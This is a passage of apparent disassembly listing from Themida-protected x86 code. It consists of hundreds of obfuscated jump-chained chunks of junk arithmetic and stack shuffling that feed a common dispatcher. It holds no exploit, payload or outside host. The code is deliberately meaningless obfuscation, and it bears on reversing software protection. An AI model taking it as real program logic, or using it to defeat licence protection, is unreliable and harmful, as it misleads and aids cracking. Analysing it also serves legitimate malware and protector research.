		jmp	loc_5458E9
; ---------------------------------------------------------------------------


loc_54B12C:				; CODE XREF: Themida_:005451FDj
		xor	ebp, 7E027326h
		or	ebp, 6787553h
		dec	ebp
		sub	ebp, 7F7FFF7Ah
		jmp	loc_54FE6D
; ---------------------------------------------------------------------------


loc_54B144:				; CODE XREF: Themida_:0054785Cj
		mov	ecx, [esp]
		jmp	loc_54DDB5
; ---------------------------------------------------------------------------


loc_54B14C:				; CODE XREF: Themida_:00546D0Cj
		jz	loc_54EE8A
		push	edx
		mov	edx, 7A8011D6h
		and	edx, 664F1312h
		push	ebp
		mov	ebp, 3B34DB2h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 1CAE07C1h
		add	esi, edx
		add	esi, 1CAE07C1h
		pop	edx
		add	esi, eax
		push	edi
		push	esi
		mov	esi, 6350317Ah
		xor	esi, 7D6B7A6Ah
		mov	edi, esi
		pop	esi
		not	edi
		shr	edi, 8
		and	edi, 0C515998h
		not	edi
		inc	edi
		not	edi
		sub	edi, 9A8DE1CBh
		push	ebp
		mov	ebp, 35EE14ECh
		jmp	loc_54C797
; ---------------------------------------------------------------------------


loc_54B1B1:				; CODE XREF: Themida_:0054DD29j
		mov	cx, 2
		add	word ptr [esp+2], 0C53h
		sub	word ptr [esp+2], 3216h
		push	bp
		jmp	loc_54DB5B
; ---------------------------------------------------------------------------


loc_54B1CA:				; CODE XREF: Themida_:00548FF8j
		push	ebp
		jmp	loc_549115
; ---------------------------------------------------------------------------
		push	0BF8h
		jmp	loc_54CBF8
; ---------------------------------------------------------------------------


loc_54B1DA:				; CODE XREF: Themida_:005499E2j
		add	edi, esi
		pop	esi
		jmp	loc_54FE58
; ---------------------------------------------------------------------------


loc_54B1E2:				; CODE XREF: Themida_:0054A6F8j
		mov	ebp, 38E9726Fh
		shr	ebp, 4
		and	ebp, 6BB96EEDh
		sub	ebp, 3880620h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	8A1h
		mov	[esp], edi
		push	edx
		mov	edx, 527446F4h
		jmp	loc_54BF7F
; ---------------------------------------------------------------------------


loc_54B21D:				; CODE XREF: Themida_:0054DAC6j
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_54A74E
; ---------------------------------------------------------------------------


loc_54B229:				; CODE XREF: Themida_:0054E9E6j
		mov	ah, cl
		pop	ecx
		jmp	loc_54A3C2
; ---------------------------------------------------------------------------


loc_54B231:				; CODE XREF: Themida_:0054CD4Dj
		pop	ebp
		sub	ebp, 49111061h
		jmp	loc_54D1AC
; ---------------------------------------------------------------------------


loc_54B23D:				; CODE XREF: Themida_:0054EB44j
		add	esi, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B262:				; CODE XREF: Themida_:0054A599j
		mov	edx, 0ED72FC1h
		or	edx, 4A427AADh
		sub	edx, 0B860D84h
		push	edx
		jmp	loc_54B479
; ---------------------------------------------------------------------------


loc_54B279:				; CODE XREF: Themida_:005500B3j
		sub	ah, 52h
		mov	dl, ah
		pop	eax
		xor	dl, 0C5h
		shl	dl, 1
		xor	dl, al
		jmp	loc_546FCB
; ---------------------------------------------------------------------------


loc_54B28B:				; CODE XREF: Themida_:0054D5D0j
		add	esi, ebx
		pop	ebx
		sub	[esp+8], esi
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	eax
		add	eax, 4DEB0DEBh
		push	edi
		mov	edi, 74BF129Fh
		sub	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 278F4DA3h
		jmp	loc_5461F6
; ---------------------------------------------------------------------------


loc_54B2B4:				; CODE XREF: Themida_:0054D525j
		pop	esp
		jmp	loc_54AAF2
; ---------------------------------------------------------------------------


loc_54B2BA:				; CODE XREF: Themida_:00546AE9j
		mov	edi, esp
		add	edi, 4
		push	edx
		sub	esp, 4
		jmp	loc_54D7D1
; ---------------------------------------------------------------------------


loc_54B2CB:				; CODE XREF: Themida_:00548CD5j
		mov	ebx, 12F914D5h
		not	ebx
		jmp	loc_544FF5
; ---------------------------------------------------------------------------


loc_54B2D7:				; CODE XREF: Themida_:005467DDj
		mov	ebx, 1F9E5813h
		xor	ebx, esi
		pop	esi
		jmp	loc_54D69C
; ---------------------------------------------------------------------------


loc_54B2E4:				; CODE XREF: Themida_:00546891j
		sub	eax, edi
		jmp	loc_5478D2
; ---------------------------------------------------------------------------


loc_54B2EB:				; CODE XREF: Themida_:005490D7j
		or	ebx, 74804E05h
		push	eax
		jmp	loc_549A25
; ---------------------------------------------------------------------------


loc_54B2F7:				; CODE XREF: Themida_:0054E941j
		neg	edx
		jmp	loc_5479A4
; ---------------------------------------------------------------------------


loc_54B2FE:				; CODE XREF: Themida_:005498EEj
		pop	ecx
		add	edi, ebx
		push	esi
		jmp	loc_544811
; ---------------------------------------------------------------------------


loc_54B307:				; CODE XREF: Themida_:005448A0j
		mov	ebx, 6731FDh
		or	ecx, ebx
		pop	ebx
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 677DFCh
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, al
		push	2FD6h
		mov	[esp], ecx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B335:				; CODE XREF: Themida_:005481D9j
		add	al, bl
		jmp	loc_545BEC
; ---------------------------------------------------------------------------


loc_54B33C:				; CODE XREF: Themida_:0054FE12j
		mov	[esp], esi
		mov	esi, 37E03EC9h
		push	2688h
		jmp	loc_54988D
; ---------------------------------------------------------------------------


loc_54B34E:				; CODE XREF: Themida_:0054B4F3j
		push	edx
		push	ebp
		pop	edx
		pop	ebp
		add	edx, 6CA075F6h
		xor	ebp, edx
		jmp	loc_54F48E
; ---------------------------------------------------------------------------


loc_54B35F:				; CODE XREF: Themida_:00546EFBj
		push	3D1Dh
		mov	[esp], ebp
		mov	ebp, 4EB74F3Ah
		xor	ebp, 63953BF6h
		shl	ebp, 7
		and	ebp, 36AF5193h
		push	eax
		mov	eax, 2A866361h
		jmp	loc_54D410
; ---------------------------------------------------------------------------


loc_54B386:				; CODE XREF: Themida_:0054B900j
		mov	[esp], edi
		mov	edi, 4
		add	ebx, 61F07A89h
		add	ebx, edi
		jmp	loc_54AFD7
; ---------------------------------------------------------------------------


loc_54B39B:				; CODE XREF: Themida_:0054B5ADj
		and	cl, al
		pop	ax
		jmp	loc_5468FD
; ---------------------------------------------------------------------------


loc_54B3A4:				; CODE XREF: Themida_:0054AE91j
		mov	ah, 97h
		add	bl, ah
		pop	ax
		or	bl, 0FCh
		add	bl, 0E0h
		or	cl, bl
		pop	ebx
		xor	cl, 0BAh
		not	cl
		add	cl, 0F3h
		sub	bl, cl
		pop	ecx
		add	bl, 0C9h
		sub	bl, al
		sub	bl, 0C9h
		add	bl, 0ADh
		pop	ax
		jmp	loc_54E24F
; ---------------------------------------------------------------------------


loc_54B3D0:				; CODE XREF: Themida_:0054F2F1j
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	edi
		mov	edi, 60583229h
		jmp	loc_54865B
; ---------------------------------------------------------------------------


loc_54B3E1:				; CODE XREF: Themida_:00547E43j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54E16D
; ---------------------------------------------------------------------------


loc_54B3EC:				; CODE XREF: Themida_:005462E8j
		pop	eax
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		pop	ebx
		push	ebx
		push	edi
		jmp	loc_54FDB6
; ---------------------------------------------------------------------------


loc_54B3FE:				; CODE XREF: Themida_:0054CEFFj
		pop	ebp
		add	ebp, 4
		push	ebx
		jmp	loc_54FE5E
; ---------------------------------------------------------------------------


loc_54B40B:				; CODE XREF: Themida_:0054A7ADj
		push	ecx
		jmp	loc_54ADC6
; ---------------------------------------------------------------------------


loc_54B411:				; CODE XREF: Themida_:005500F4j
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_54539E
; ---------------------------------------------------------------------------


loc_54B422:				; CODE XREF: Themida_:0054FA2Dj
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		jmp	loc_546FD6
; ---------------------------------------------------------------------------


loc_54B435:				; CODE XREF: Themida_:0054F134j
		add	esp, 4
		push	ecx
		push	eax
		push	edx
		mov	dl, 57h
		shr	dl, 1
		or	dl, 0CEh
		and	dl, 3Ch
		inc	dl
		xor	dl, 0B4h
		push	edx
		jmp	loc_546E1C
; ---------------------------------------------------------------------------


loc_54B450:				; CODE XREF: Themida_:0054AFBBj
		mov	edx, 2
		add	ebx, edx
		jmp	loc_54D485
; ---------------------------------------------------------------------------


loc_54B45C:				; CODE XREF: Themida_:0054C12Ej
		add	esp, 4
		jmp	loc_54BEF7
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54E562
; ---------------------------------------------------------------------------


loc_54B479:				; CODE XREF: Themida_:0054B274j
		add	dword ptr [esp], 0FFFFFFFFh
		mov	edx, [esp]
		jmp	loc_54E946
; ---------------------------------------------------------------------------


loc_54B485:				; CODE XREF: Themida_:00545A22j
		sub	edx, 21457AADh
		add	edx, ebx
		add	edx, 21457AADh
		push	ebx
		jmp	loc_545CD0
; ---------------------------------------------------------------------------


loc_54B499:				; CODE XREF: Themida_:0054E648j
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_54A856
; ---------------------------------------------------------------------------


loc_54B4B3:				; CODE XREF: Themida_:00546A2Fj
		sub	edx, 0D1FF23Fh
		sub	eax, edx
		pop	edx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B4C1:				; CODE XREF: Themida_:005480B2j
		or	esi, 732E0921h
		add	esi, 10328Fh
		add	eax, esi
		pop	esi
		jmp	loc_547EDC
; ---------------------------------------------------------------------------


loc_54B4D5:				; CODE XREF: Themida_:00549731j
		add	eax, ecx
		pop	ecx
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B4E2:				; CODE XREF: Themida_:00548488j
		pop	edi
		xor	edx, 5587341Fh
		and	edx, 764A3C20h
		xchg	ebp, edx
		not	ebp
		jmp	loc_54B34E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_54D62A
; ---------------------------------------------------------------------------


loc_54B501:				; CODE XREF: Themida_:00545BFFj
		push	cx
		mov	ch, 64h
		mov	ah, ch
		pop	cx
		not	ah
		push	ebx
		jmp	loc_54651F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_54708F
; ---------------------------------------------------------------------------


loc_54B51D:				; CODE XREF: Themida_:005441C0j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	42BFh
		jmp	loc_5442FA
; ---------------------------------------------------------------------------


loc_54B532:				; CODE XREF: Themida_:0054FC8Aj
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 7Ch
		and	dl, ch
		jmp	loc_54C421
; ---------------------------------------------------------------------------


loc_54B542:				; CODE XREF: Themida_:0054719Bj
		mov	ebp, [esp]
		push	6E58h
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 74DC7280h
		add	edi, 0FFFFFFFFh
		dec	edi
		shl	edi, 8
		shl	edi, 3
		jmp	loc_544EC3
; ---------------------------------------------------------------------------


loc_54B56F:				; CODE XREF: Themida_:0054EA9Cj
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		sub	[esp+4], eax
		pop	eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B580:				; CODE XREF: Themida_:00547E5Cj
		pop	ecx
		jmp	loc_546E8E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54CA2A
; ---------------------------------------------------------------------------


loc_54B595:				; CODE XREF: Themida_:00545239j
		add	esp, 4
		jmp	loc_549853
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_546B15
; ---------------------------------------------------------------------------


loc_54B5A6:				; CODE XREF: Themida_:00547381j
		sub	cl, dh
		pop	edx
		push	ax
		mov	al, 0EBh
		jmp	loc_54B39B
; ---------------------------------------------------------------------------


loc_54B5B2:				; CODE XREF: Themida_:0054D4CEj
		sub	ebp, 239050EDh
		not	ebp
		dec	ebp
		add	ebp, 0A43E0A4Eh
		mov	esi, ebp
		pop	ebp
		jmp	loc_545247
; ---------------------------------------------------------------------------


loc_54B5C9:				; CODE XREF: Themida_:00544AF3j
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54CC15
		sub	esp, 4
		mov	[esp], esi
		push	39A1h
		mov	[esp], eax
		mov	eax, 6C055E4Bh
		xor	eax, 232B31C4h
		push	eax
		neg	dword ptr [esp]
		pop	eax
		and	eax, 743900DCh
		inc	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54665D
; ---------------------------------------------------------------------------


loc_54B609:				; CODE XREF: Themida_:0054C591j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esi, 4
		jmp	loc_54AFE8
; ---------------------------------------------------------------------------


loc_54B622:				; CODE XREF: Themida_:00546992j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_545943
; ---------------------------------------------------------------------------


loc_54B636:				; CODE XREF: Themida_:005448F8j
		push	edi
		mov	edi, 78CE05EAh
		sub	esi, edi
		jmp	loc_546498
; ---------------------------------------------------------------------------


loc_54B643:				; CODE XREF: Themida_:0054CCA3j
		add	al, dh
		mov	dx, [esp]
		jmp	loc_546F87
; ---------------------------------------------------------------------------


loc_54B64E:				; CODE XREF: Themida_:0054711Fj
		mov	[esp], esi
		push	edx
		mov	edx, 390B5D9Dh
		jmp	loc_547F95
; ---------------------------------------------------------------------------


loc_54B65C:				; CODE XREF: Themida_:00546D15j
		mov	[esp], ecx
		mov	ecx, 7BA83BFDh
		jmp	loc_545DFF
; ---------------------------------------------------------------------------


loc_54B669:				; CODE XREF: Themida_:0054558Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	2CC3h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54C477
; ---------------------------------------------------------------------------


loc_54B67F:				; CODE XREF: Themida_:005484BAj
		add	ecx, 197472C0h
		add	ecx, edi
		sub	ecx, 197472C0h
		push	dword ptr [ecx]
		push	edi
		mov	edi, 5ED05F50h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_546232
; ---------------------------------------------------------------------------


loc_54B69F:				; CODE XREF: Themida_:0054A24Bj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54908B
; ---------------------------------------------------------------------------


loc_54B6AA:				; CODE XREF: Themida_:00548D1Dj
		push	5934h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C1B7
; ---------------------------------------------------------------------------


loc_54B6BF:				; CODE XREF: Themida_:0054F7EBj
		mov	[esp], esi
		mov	esi, 2FBD16EBh
		xor	[esp+4], esi
		jmp	loc_5459A9
; ---------------------------------------------------------------------------


loc_54B6D0:				; CODE XREF: Themida_:0054FD9Cj
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	695Bh
		mov	[esp], esi
		jmp	loc_546E25
; ---------------------------------------------------------------------------


loc_54B6E4:				; CODE XREF: Themida_:00547C54j
		shl	esi, 1
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_549DBF
; ---------------------------------------------------------------------------


loc_54B6FB:				; CODE XREF: Themida_:0054C544j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_546C83
; ---------------------------------------------------------------------------


loc_54B70D:				; CODE XREF: Themida_:0054D697j
		shl	ebp, 5
		push	edx
		mov	edx, 2AE0607Eh
		jmp	loc_54DA01
; ---------------------------------------------------------------------------


loc_54B71B:				; CODE XREF: Themida_:0054CBA4j
		mov	eax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_54F8EC
; ---------------------------------------------------------------------------


loc_54B734:				; CODE XREF: Themida_:0054CD39j
		xor	eax, 10284797h
		xor	eax, 6CA61E1Ah
		sub	eax, 1
		push	ebp
		mov	ebp, 4DAD0377h
		or	ebp, 1AD32178h
		shl	ebp, 8
		sub	ebp, 761F0C06h
		jmp	loc_54FC13
; ---------------------------------------------------------------------------


loc_54B75D:				; CODE XREF: Themida_:00550025j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54A0DD
; ---------------------------------------------------------------------------


loc_54B76A:				; CODE XREF: Themida_:00548FD3j
		mov	ecx, 6E1D2934h
		jmp	loc_548DCD
; ---------------------------------------------------------------------------


loc_54B774:				; CODE XREF: Themida_:005455B4j
		inc	ecx
		shl	ecx, 7
		sub	ecx, 4EF9E7EEh
		sub	edi, ecx
		jmp	loc_54C2EC
; ---------------------------------------------------------------------------


loc_54B785:				; CODE XREF: Themida_:0054CAB5j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B7A9:				; CODE XREF: Themida_:00547759j
		sub	bl, al
		pop	eax
		xor	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54F2C0
; ---------------------------------------------------------------------------


loc_54B7B9:				; CODE XREF: Themida_:00545DE2j
		add	edx, 63567BAEh
		jmp	loc_546B25
; ---------------------------------------------------------------------------


loc_54B7C4:				; CODE XREF: Themida_:00548999j
		push	758Eh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54B99D
; ---------------------------------------------------------------------------


loc_54B7E1:				; CODE XREF: Themida_:005491B6j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_5458CC
; ---------------------------------------------------------------------------


loc_54B7F4:				; CODE XREF: Themida_:0054F469j
		mov	eax, esp
		push	ebp
		push	ebx
		jmp	loc_5486A5
; ---------------------------------------------------------------------------


loc_54B7FD:				; CODE XREF: Themida_:00548D53j
		mov	[esp], eax
		mov	ah, 8Dh
		shl	ah, 2
		shr	ah, 8
		shl	ah, 2
		xor	ah, 0D3h
		jmp	loc_54812E
; ---------------------------------------------------------------------------


loc_54B813:				; CODE XREF: Themida_:00546F4Bj
		mov	[ebx], cl
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54E5D8
; ---------------------------------------------------------------------------


loc_54B820:				; CODE XREF: Themida_:0054D40Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_546A80
; ---------------------------------------------------------------------------


loc_54B834:				; CODE XREF: Themida_:0054BA97j
		add	esp, 4
		bt	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B844:				; CODE XREF: Themida_:0054FE36j
		mov	eax, esi
		pop	esi
		or	eax, 72456737h
		xor	eax, 45802982h
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54FDC7
; ---------------------------------------------------------------------------


loc_54B861:				; CODE XREF: Themida_:0054D774j
		xor	eax, ecx
		pop	ecx
		inc	eax
		jmp	loc_547D41
; ---------------------------------------------------------------------------


loc_54B86A:				; CODE XREF: Themida_:0054AD24j
		add	dword ptr [esp], 4
		jmp	loc_54EF73
; ---------------------------------------------------------------------------


loc_54B873:				; CODE XREF: Themida_:00545BB5j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54D7FD
; ---------------------------------------------------------------------------


loc_54B87F:				; CODE XREF: Themida_:0054AE64j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	1803h
		mov	[esp], eax
		jmp	loc_547B8E
; ---------------------------------------------------------------------------


loc_54B893:				; CODE XREF: Themida_:00545B06j
		add	edx, 4
		add	edx, 4
		jmp	loc_5494BB
; ---------------------------------------------------------------------------


loc_54B8A1:				; CODE XREF: Themida_:0054F3CCj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54B8A6:				; CODE XREF: Themida_:00548013j
		add	ecx, 69025D0Eh
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_544BF0
; ---------------------------------------------------------------------------


loc_54B8B7:				; CODE XREF: Themida_:00544A38j
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_54976E
; ---------------------------------------------------------------------------


loc_54B8C8:				; CODE XREF: Themida_:00549BDAj
		push	edx
		jmp	loc_54E67E
; ---------------------------------------------------------------------------


loc_54B8CE:				; CODE XREF: Themida_:0054817Cj
		mov	eax, 59F819BEh
		mov	edi, 0DE7668D9h
		jmp	loc_54E550
; ---------------------------------------------------------------------------


loc_54B8DD:				; CODE XREF: Themida_:0054C7CDj
		mov	[esp], esi
		jmp	loc_54BDB9
; ---------------------------------------------------------------------------


loc_54B8E5:				; CODE XREF: Themida_:00546B20j
		mov	edx, 4
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	4BECh
		jmp	loc_54B386
; ---------------------------------------------------------------------------


loc_54B905:				; CODE XREF: Themida_:0054D6E0j
		mov	esi, 2
		mov	eax, esi
		pop	esi
		jmp	loc_54520D
; ---------------------------------------------------------------------------


loc_54B912:				; CODE XREF: Themida_:0054E38Ej
		xchg	eax, ebp
		shr	ebp, 3
		jmp	loc_54FF1B
; ---------------------------------------------------------------------------


loc_54B91B:				; CODE XREF: Themida_:00549178j
		sub	ebp, 0B9A4C911h
		mov	edx, ebp
		jmp	loc_547D72
; ---------------------------------------------------------------------------


loc_54B928:				; CODE XREF: Themida_:0054D3BDj
		shl	ebx, 7
		add	ebx, 3D2F0DCEh
		jmp	loc_54848D
; ---------------------------------------------------------------------------


loc_54B936:				; CODE XREF: Themida_:00549A15j
		shr	ebp, 5
		inc	ebp
		push	edx
		mov	edx, 1AB95A2h
		jmp	loc_5456C3
; ---------------------------------------------------------------------------


loc_54B945:				; CODE XREF: Themida_:0054781Cj
		pop	edx
		add	bl, 0Eh
		sub	bl, al
		jmp	loc_54FDD8
; ---------------------------------------------------------------------------


loc_54B950:				; CODE XREF: Themida_:00548BE0j
		pop	esi
		sub	esp, 4
		jmp	loc_54CE61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54B95C:				; CODE XREF: sub_545BCC+7629j
		push	ecx
		push	41CCh
		mov	[esp], eax
		mov	ah, 0F3h
		mov	cl, ah
		pop	eax
		push	eax
		mov	al, 9Dh
		and	al, 1Ah
		dec	al
		shr	al, 5
		shr	al, 6
		sub	al, 0CEh
		xor	cl, al
		pop	eax
		sub	bl, 0BDh
		sub	bl, 0E7h
		sub	bl, cl
		add	bl, 0E7h
		add	bl, 0BDh
		pop	ecx
		mov	ecx, [esp+0]
		jmp	loc_550003
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54B993:				; CODE XREF: Themida_:0054CE5Cj
		add	esi, edx
		pop	edx
		add	edx, esi
		jmp	loc_54E3D9
; ---------------------------------------------------------------------------


loc_54B99D:				; CODE XREF: Themida_:0054B7DCj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54DF3A
; ---------------------------------------------------------------------------


loc_54B9A8:				; CODE XREF: Themida_:00545822j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_547193
; ---------------------------------------------------------------------------


loc_54B9B3:				; CODE XREF: Themida_:005495AAj
		xchg	edi, [esp]
		jmp	loc_549CA6
; ---------------------------------------------------------------------------


loc_54B9BB:				; CODE XREF: Themida_:0054A7D6j
		push	75D0h
		mov	[esp], esi
		mov	esi, 2AFE2F82h
		mov	ebx, esi
		pop	esi
		push	esi
		mov	esi, 2AFE2F02h
		push	edi
		mov	edi, 224B5AF1h
		push	edx
		jmp	loc_54921A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2406h
		jmp	loc_5446CE
; ---------------------------------------------------------------------------


loc_54B9EB:				; CODE XREF: Themida_:00548797j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_547CA8
; ---------------------------------------------------------------------------


loc_54BA08:				; CODE XREF: Themida_:0054EBD3j
		neg	eax
		push	edi
		mov	edi, 4B823090h
		inc	edi
		neg	edi
		and	edi, 1E1176C4h
		add	edi, 3B05220Eh
		sub	edi, 63B299Fh
		jmp	loc_54DBB1
; ---------------------------------------------------------------------------
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_54E625
; ---------------------------------------------------------------------------


loc_54BA40:				; CODE XREF: Themida_:0054A891j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BA51:				; CODE XREF: Themida_:00547EE1j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5440BC
; ---------------------------------------------------------------------------


loc_54BA60:				; CODE XREF: Themida_:0054DF85j
		push	edx
		push	edx
		jmp	loc_544CD5
; ---------------------------------------------------------------------------


loc_54BA67:				; CODE XREF: Themida_:0054E2D2j
		push	ebx
		mov	ebx, 20E939E0h
		add	ebp, ebx
		pop	ebx
		pop	esi
		add	ebp, 2
		push	27F7h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BA93:				; CODE XREF: Themida_:00548A25j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54B834
; ---------------------------------------------------------------------------


loc_54BA9C:				; CODE XREF: Themida_:00547EEDj
		mov	edx, 3DA72045h
		add	edx, 3F6B4746h
		shl	edx, 5
		jmp	loc_546425
; ---------------------------------------------------------------------------


loc_54BAAF:				; CODE XREF: Themida_:0054A4C4j
		xor	esi, 0F8F9BFBAh
		push	ecx
		mov	ecx, 43AF6457h
		not	ecx
		push	ebx
		mov	ebx, 3ED5233Ah
		shr	ebx, 2
		dec	ebx
		shl	ebx, 2
		neg	ebx
		xor	ebx, 0F946FE15h
		jmp	loc_5494EF
; ---------------------------------------------------------------------------


loc_54BAD7:				; CODE XREF: Themida_:0054C5B3j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BAF1:				; CODE XREF: Themida_:00547E4Bj
		push	eax
		mov	eax, 50D13929h
		shr	eax, 8
		push	ecx
		mov	ecx, 47800566h
		add	ecx, 42B92624h
		push	eax
		mov	eax, 2A721CDFh
		or	ecx, eax
		pop	eax
		shl	ecx, 3
		xor	ecx, 0E7F93E09h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_54D1DD
; ---------------------------------------------------------------------------


loc_54BB22:				; CODE XREF: Themida_:005498E4j
		push	ecx
		mov	ecx, 4
		sub	ebp, 110F73F3h
		jmp	loc_54A7E1
; ---------------------------------------------------------------------------


loc_54BB33:				; CODE XREF: Themida_:0054765Bj
		sub	al, 7Eh
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_5442A1
; ---------------------------------------------------------------------------


loc_54BB44:				; CODE XREF: Themida_:0054C7F7j
		mov	[esp], ecx
		mov	ecx, 2E227EC5h
		sub	eax, 7B154BEAh
		sub	eax, ecx
		jmp	loc_546883
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_549557
; ---------------------------------------------------------------------------


loc_54BB5E:				; CODE XREF: Themida_:005473E4j
		push	edx
		mov	edx, 2
		push	edi
		mov	edi, edx
		mov	eax, edi
		pop	edi
		pop	edx
		sub	edx, 38306176h
		jmp	loc_549FD1
; ---------------------------------------------------------------------------


loc_54BB76:				; CODE XREF: Themida_:0054DF4Dj
		sub	ebx, 24E1001h
		jmp	loc_54A37A
; ---------------------------------------------------------------------------


loc_54BB81:				; CODE XREF: Themida_:0054BC96j
		add	ebx, 63F325CFh
		or	ebx, 5E0358CCh
		xor	ebx, 721F40BEh
		push	eax
		mov	eax, 2C202E6Ah
		jmp	loc_54ED9B
; ---------------------------------------------------------------------------


loc_54BB9E:				; CODE XREF: Themida_:0054749Cj
		mov	[esp], edi
		mov	edi, 14AB4B99h
		xor	edi, 39A4160Ah
		jmp	loc_54DD0D
; ---------------------------------------------------------------------------


loc_54BBB1:				; CODE XREF: Themida_:00546559j
		mov	ebp, 24F467D6h
		shl	ebp, 5
